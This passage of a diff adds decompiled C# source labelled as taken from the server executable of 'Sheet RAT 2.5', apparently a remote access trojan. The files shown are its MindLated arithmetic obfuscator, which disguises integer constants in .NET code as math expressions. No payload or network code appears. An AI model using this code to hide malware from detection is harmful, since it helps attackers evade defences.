return this._x + Math.Log10(this._y);
break;
case ArithmeticTypes.Sin:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Sin(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Sin(this._y);
break;
case ArithmeticTypes.Cos:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Cos(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Cos(this._y);
break;
case ArithmeticTypes.Round:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Round(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Round(this._y);
break;
case ArithmeticTypes.Sqrt:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Sqrt(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Sqrt(this._y);
break;
case ArithmeticTypes.Ceiling:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Ceiling(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Ceiling(this._y);
break;
case ArithmeticTypes.Floor:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Floor(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Floor(this._y);
break;
case ArithmeticTypes.Tan:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Tan(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Tan(this._y);
break;
case ArithmeticTypes.Tanh:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Tanh(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Tanh(this._y);
break;
case ArithmeticTypes.Truncate:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Truncate(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Truncate(this._y);
break;
}
return -1.0;
}
public double GetY() => this._y;
}
}
@@ -0,0 +1,30 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.ArithmeticTypes
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public enum ArithmeticTypes
{
Add,
Sub,
Div,
Mul,
Xor,
Abs,
Log,
Log10,
Sin,
Cos,
Round,
Sqrt,
Ceiling,
Floor,
Tan,
Tanh,
Truncate,
}
}
@@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.ArithmeticVt
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public class ArithmeticVt
{
private readonly Value _value;
private readonly Token _token;
private readonly ArithmeticTypes _arithmeticTypes;
public ArithmeticVt(Value value, Token token, ArithmeticTypes arithmeticTypes)
{
this._value = value;
this._token = token;
this._arithmeticTypes = arithmeticTypes;
}
public Value GetValue() => this._value;
public Token GetToken() => this._token;
public ArithmeticTypes GetArithmetic() => this._arithmeticTypes;
}
}
@@ -0,0 +1,17 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Function
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public abstract class Function
{
public abstract ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module);
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Add
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Add : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Add;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Add), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Div
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Div : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Div;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Div), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Abs
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public sealed class Abs : Function
{
private static ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Abs;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), Abs.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(Abs.ArithmeticTypes))), Abs.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Ceiling
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Ceiling : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Ceiling;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Cos
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Cos : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Cos;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Floor
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Floor : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Floor;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Log : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log10
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Log10 : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log10;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Round
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Round : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Round;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sin
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Sin : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sin;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sqrt
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Sqrt : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sqrt;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tan
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Tan : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tan;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tanh
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Tanh : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tanh;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Truncate
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Truncate : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Truncate;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Mul
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Mul : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Mul;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Mul), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Sub
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Sub : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sub;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Sub), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Xor
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Xor : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Xor;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), (double) generator.Next(), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Xor), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Generator.Generator
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Generator {
public class Generator
{
private readonly Random _random;
public Generator() => this._random = new Random(Guid.NewGuid().GetHashCode());
public int Next() => this._random.Next(int.MaxValue);
public int Next(int value) => this._random.Next(value);
public int Next(int min, int max) => this._random.Next(min, max);
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Token
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet.Emit;
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public class Token
{
private readonly OpCode _opCode;
private readonly object _operand;
public Token(OpCode opCode, object operand)
{
this._opCode = opCode;
this._operand = operand;
}
public Token(OpCode opCode)
{
this._opCode = opCode;
this._operand = (object) null;
}
public OpCode GetOpCode() => this._opCode;
public object GetOperand() => this._operand;
}
}
@@ -0,0 +1,100 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Utils.ArithmeticUtils
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet.Emit;
using System;
using System.Windows.Forms;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Utils {
public static class ArithmeticUtils
{
public static bool CheckArithmetic(Instruction instruction)
{
return instruction.IsLdcI4() && instruction.GetLdcI4Value() != 1 && instruction.GetLdcI4Value() != 0;
}
public static double GetY(double x) => x / 2.0;
public static MethodInfo GetMethod(ArithmeticTypes mathType)
{
switch (mathType)
{
case ArithmeticTypes.Abs:
return typeof (Math).GetMethod("Abs", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Log:
return typeof (Math).GetMethod("Log", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Log10:
return typeof (Math).GetMethod("Log10", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Sin:
return typeof (Math).GetMethod("Sin", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Cos:
return typeof (Math).GetMethod("Cos", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Round:
return typeof (Math).GetMethod("Round", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Sqrt:
return typeof (Math).GetMethod("Sqrt", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Ceiling:
return typeof (Math).GetMethod("Ceiling", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Floor:
return typeof (Math).GetMethod("Floor", new Type[1]
{
typeof (double)
});
case ArithmeticTypes.Tan:
